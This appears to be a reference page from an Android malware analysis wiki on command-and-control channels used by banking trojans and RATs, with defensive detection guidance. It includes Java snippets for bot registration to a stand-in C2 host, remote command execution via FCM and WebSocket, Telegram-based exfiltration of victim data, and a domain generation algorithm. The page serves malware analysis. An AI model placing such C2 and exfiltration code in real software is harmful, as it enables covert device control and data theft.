Skip to content

C2 Communication Techniques

How Android malware talks to its command-and-control infrastructure. The C2 channel determines how commands reach the device, how stolen data leaves, and how resilient the operation is against takedowns. Most families use multiple channels for redundancy.

See also: Network Traffic Interception, Anti-Analysis Techniques

Requirements

Requirement Details
Permission INTERNET (auto-granted, normal protection level)
Optional RECEIVE_SMS for SMS-based C2, RECEIVE_BOOT_COMPLETED for persistent reconnection
Infrastructure At least one C2 server, domain, or third-party service account

C2 Methods

HTTP/HTTPS REST APIs

The most common C2 channel. Malware sends HTTP POST requests to a hardcoded or dynamically resolved endpoint, typically JSON-encoded. The C2 responds with commands in the same format.

URL url = new URL("https://c2.example.com/gate.php");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type", "application/json");
conn.setDoOutput(true);

JSONObject payload = new JSONObject();
payload.put("bot_id", deviceId);
payload.put("action", "register");
payload.put("apps", installedPackages);

OutputStream os = conn.getOutputStream();
os.write(payload.toString().getBytes());
os.flush();

Advantages: works through any network, blends with normal traffic, easy to implement. Disadvantages: requires active server, domains can be seized, traffic is inspectable if pinning is absent.

Used by: BRATA, Hydra, Cerberus, Octo, most banking trojans.

WebSocket Persistent Connections

Maintains a persistent bidirectional connection for real-time command delivery. The C2 server can push commands instantly without polling.

OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder()
    .url("wss://c2.example.com/ws")
    .build();

WebSocket ws = client.newWebSocket(request, new WebSocketListener() {
    @Override
    public void onMessage(WebSocket webSocket, String text) {
        JSONObject cmd = new JSONObject(text);
        executeCommand(cmd.getString("type"), cmd);
    }
});

Lower latency than polling HTTP. Enables interactive remote access sessions -- screen streaming, real-time VNC. Connection drop is immediately visible to both sides.

Used by: Hook, Medusa, Octo v2.

Firebase Cloud Messaging (FCM)

Abuses Google's push notification infrastructure as a C2 wake-up channel. The malware registers with FCM using the attacker's Firebase project credentials, then receives push messages containing commands. FCM traffic is indistinguishable from legitimate app notifications.

FirebaseMessaging.getInstance().getToken()
    .addOnCompleteListener(task -> {
        String token = task.getResult();
        sendTokenToC2(token);
    });
public class C2MessagingService extends FirebaseMessagingService {
    @Override
    public void onMessageReceived(RemoteMessage message) {
        Map<String, String> data = message.getData();
        String command = data.get("cmd");
        String args = data.get("args");
        executeCommand(command, args);
    }
}

Google can revoke the Firebase project, but the attacker just creates a new one. The malware often uses FCM only as a wake-up signal, then connects back to the primary HTTP C2 for actual data transfer.

Used by: Ermac, Cerberus, GodFather, Anatsa.

Telegram Bot API

Uses Telegram's Bot API for bidirectional C2. The malware contains a bot token and chat ID, sends stolen data as Telegram messages, and polls getUpdates for commands. Telegram's infrastructure provides built-in encryption, CDN distribution, and censorship resistance.

Telegram Bot API C2 Implementation
String botToken = "6234871:AAF...encrypted_token";
String chatId = "-100198765432";
String apiUrl = "https://api.telegram.org/bot" + botToken + "/sendMessage";

JSONObject payload = new JSONObject();
payload.put("chat_id", chatId);
payload.put("text", "New victim: " + deviceId + "\nApps: " + appList);

HttpPost post = new HttpPost(apiUrl);
post.setEntity(new StringEntity(payload.toString()));

Telegram C2 is hard to take down because blocking api.telegram.org disrupts legitimate Telegram usage. The bot token can be rotated easily if compromised.

Used by: Anubis, Mamont, Cerberus (dead drop), SpyNote (some variants).

Dead Drop Resolvers

The malware does not hardcode the C2 address directly. Instead, it fetches the real C2 URL from a public service that the attacker controls. If the C2 goes down, the attacker updates the dead drop with a new address without needing to update the malware.

Common dead drop platforms:

Platform Method Example
Telegram Public channel with pinned message containing encrypted C2 URL Channel bio or pinned post has Base64-encoded address
Pastebin Paste containing encrypted/encoded C2 address https://pastebin.com/raw/XXXXXX
GitHub Repository file or gist with C2 info README or config file in a public repo
Twitter/X Tweet or bio containing encoded address Profile bio with hex-encoded URL
YouTube Video description with hidden C2 string Comment or description field

Cerberus stored encrypted C2 URLs in a Twitter bio. GodFather used Telegram channel descriptions. MoqHao used Pinterest profile descriptions.

Dead Drop Analysis

When you find a dead drop resolver, check if the attacker is still actively updating the public profile. Extracting historical dead drop values (via Wayback Machine or platform-specific caches) can reveal the full list of C2 servers used over the campaign's lifetime.

DNS Tunneling and DNS-over-HTTPS

Encodes C2 data inside DNS queries. The malware makes DNS lookups for subdomains like base64data.evil.com, and the authoritative DNS server decodes the subdomain to extract data. Responses come back as TXT or CNAME records.

DNS-over-HTTPS (DoH) variant sends DNS queries as HTTPS requests to resolvers like https://dns.google/resolve?name=..., bypassing traditional DNS monitoring entirely. This doubles as a way to resolve DGA domains without touching the device's configured DNS.

Less common on Android than on desktop malware due to implementation complexity, but observed in targeted espionage tools.

MQTT Protocol

Lightweight publish/subscribe messaging protocol designed for IoT. Some malware families use public MQTT brokers (like mqtt.eclipseprojects.io) for C2, publishing commands to bot-specific topics.

Low overhead, persistent connections, works well on unreliable mobile networks. Hard to distinguish from legitimate IoT traffic.

SMS-Based C2

The malware receives commands via incoming SMS messages from a specific number or matching a specific format. Older technique, still used as a fallback when internet connectivity is unavailable.

Commands are typically short codes: #lock#, #sms_forward#ON, #wipe#. The malware's BroadcastReceiver intercepts the SMS before the default messaging app displays it.

Disadvantages: sender number is traceable, SMS costs money at scale, limited payload size.

Used by: BankBot, early Anubis variants, Rafel RAT.

SFTP/FTP Exfiltration

Direct file upload for exfiltrating large data: screen recordings, keylog files, photo archives. The malware connects to an attacker-controlled SFTP server and uploads files on a schedule or when triggered.

Vultur uses SFTP (via JSch library) specifically for uploading screen recordings, keeping its HTTP C2 channel separate for commands.

Proxy/Tunnel C2

The infected device acts as a network proxy, routing attacker traffic through the victim's connection. McAfee documented TimpDoor (2018), distributed via SMS phishing as a fake voice-message app, which created a SOCKS proxy and redirected traffic through an SSH-encrypted tunnel. Over 5,000 devices were enrolled, giving attackers stealthy access through residential IP addresses. This turns compromised phones into a proxy botnet for masking other malicious activity.

Tor/Onion Routing

Routes C2 traffic through the Tor network, hiding the server's real IP address. The malware either bundles Tor libraries or uses Orbot as a proxy. The C2 runs as a .onion hidden service.

Adds significant latency and battery drain. Increases APK size if Tor is bundled. Some families use Tor only for C2 registration and fall back to direct HTTPS for data transfer.

Domain Generation Algorithms (DGA)

The malware generates a list of pseudo-random domain names using a seed (date, hardcoded value, or external input). The attacker registers one or more of these domains ahead of time. If a domain is seized, the algorithm generates new candidates the next day.

public String generateDomain(int dayOfYear, int year) {
    long seed = (dayOfYear * 1000L) + year;
    Random rng = new Random(seed);
    StringBuilder domain = new StringBuilder();
    int len = rng.nextInt(8) + 8;
    for (int i = 0; i < len; i++) {
        domain.append((char) ('a' + rng.nextInt(26)));
    }
    domain.append(".com");
    return domain.toString();
}

The defender must reverse the DGA to predict and preemptively sinkhole future domains. DGA is less common on Android than on desktop botnets, but has been observed in Anubis and FluBot.

Certificate Pinning on C2 Traffic

Malware pinning its own C2 server's certificate to prevent interception by analysts or network security tools. The attacker embeds the server certificate or public key hash in the APK and rejects any connection where the certificate doesn't match.

This is the reverse of the usual scenario: instead of a legitimate app pinning its server, the malware pins the attacker's server. An analyst running mitmproxy sees the connection fail unless they patch out the pinning logic first.

Bypassing Malware Certificate Pinning

Use Frida's ssl_pinning_bypass.js or patch the APK's TrustManager / CertificatePinner at the smali level. See Hooking for Frida-based approaches and Network Analysis for mitmproxy setup.

C2 Method Comparison

Method Stealth Reliability Latency Bandwidth Takedown Resistance
HTTP/HTTPS Medium High Low High Low -- domain seizure
WebSocket Medium Medium Very Low High Low
FCM Very High High Low Low Medium -- project revocation
Telegram Bot High Very High Medium Medium High
Dead Drop High Medium High Very Low High
DNS Tunnel Very High Medium High Very Low High
MQTT High Medium Low Medium Medium
SMS Low Low Medium Very Low Low -- traceable
SFTP/FTP Low High Medium Very High Low
Tor Very High Low Very High Medium Very High
DGA Medium Medium High High High

Families by Primary C2 Type

Family Primary C2 Secondary C2 Exfiltration
Anubis HTTP REST Telegram Bot HTTP POST
Ermac HTTP REST FCM wake-up HTTP POST
Hook WebSocket HTTP REST WebSocket
Cerberus HTTP REST Telegram dead drop, FCM HTTP POST
Medusa WebSocket HTTP REST WebSocket
SpyNote Custom TCP None TCP socket
Vultur HTTP REST FCM wake-up SFTP
Mamont Telegram Bot None Telegram API
BRATA HTTP REST None HTTP POST
GodFather HTTP REST Telegram dead drop, FCM HTTP POST
Octo HTTP REST WebSocket (v2) HTTP POST
Hydra HTTP REST None HTTP POST
Anatsa HTTP REST FCM wake-up HTTP POST
FluBot HTTP REST + DGA DNS-based DGA HTTP POST
MoqHao HTTP REST Dead drop (Pinterest/Imgur) HTTP POST
Xenomorph HTTP REST None HTTP POST
Chameleon HTTP REST None HTTP POST
TrickMo HTTP REST None HTTP POST
Copybara HTTP REST MQTT HTTP POST

Network Analysis

Intercepting C2 Traffic

Setting up mitmproxy to capture C2 communications during dynamic analysis:

  1. Install mitmproxy CA certificate on the test device
  2. Configure Wi-Fi proxy or use transparent proxy with iptables
  3. If malware pins its C2 certificate, patch the APK to remove pinning (Frida ssl_pinning_bypass.js or manual smali edit)
  4. Monitor for registration beacons, command polling intervals, and exfiltration uploads

Identifying C2 Patterns

Common indicators in network traffic:

  • Periodic POST requests to the same endpoint (heartbeat/polling)
  • JSON payloads containing device identifiers, IMEI, installed app lists
  • Base64-encoded or encrypted request bodies
  • Requests to api.telegram.org with bot tokens
  • FCM registration tokens sent to non-Google servers
  • Connections to known MQTT brokers
  • DNS queries for high-entropy domain names (DGA indicator)
  • WebSocket upgrades to suspicious endpoints

Detection During Analysis

Static Indicators
  • Hardcoded URLs, IPs, or domain patterns in strings/resources
  • Telegram bot tokens (format: [0-9]+:AA[A-Za-z0-9_-]+)
  • Firebase configuration files (google-services.json) with unexpected project IDs
  • JSch or other SSH/SFTP library imports
  • WebSocketListener or OkHttp WebSocket usage
  • DnsOverHttps or custom DNS resolution code
  • Certificate pinning implementations (custom TrustManager, CertificatePinner)
Dynamic Indicators
  • Outbound connections immediately after first launch
  • Periodic network requests at fixed intervals
  • Data sent to Telegram API endpoints
  • Large file uploads to SFTP servers
  • Connections to Tor entry nodes or .onion addresses